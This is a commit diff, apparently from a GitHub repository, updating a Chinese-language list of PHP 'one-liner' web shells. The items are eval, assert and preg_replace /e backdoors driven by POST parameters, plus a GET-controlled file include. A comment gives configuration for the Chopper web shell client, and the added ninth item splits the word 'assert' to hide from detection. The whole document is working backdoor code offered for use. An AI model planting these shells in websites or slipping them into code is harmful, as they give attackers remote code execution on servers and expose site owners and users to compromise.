Update php一句话

ooopsec · Sep 21, 2015 · ab3dabf · ab3dabf
1 parent d46edd2
commit ab3dabf
Showing 1 changed file with 11 additions and 9 deletions.
diff --git a/php/php一句话 b/php/php一句话
@@ -1,13 +1,15 @@
 [+]php一句话
 
-1) <?php eval($_POST[sb]);?>
-2) <?php @eval($_POST[sb]);?>
-3) <?php assert($_POST[sb]);?>
-4) <?$_POST['sa']($_POST['sb']);?>
-5) <?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
-6) <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
+1. <?php eval($_POST[sb]);?>
+2. <?php @eval($_POST[sb]);?>
+3. <?php assert($_POST[sb]);?>
+4. <?$_POST['sa']($_POST['sb']);?>
+5. <?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
+6. <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
 　 //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
 　 <O>h=@eval($_POST[c]);</O>
-7) <script language="php">@eval($_POST[sb])</script>
-8) $filename=$_GET['xbid'];
-   include ($filename);
+7. <script language="php">@eval($_POST[sb])</script>
+8. $filename=$_GET['xbid'];
+   include ($filename);
+9. <?php
+$c='ass'.'ert';${c}($_POST[4]);?>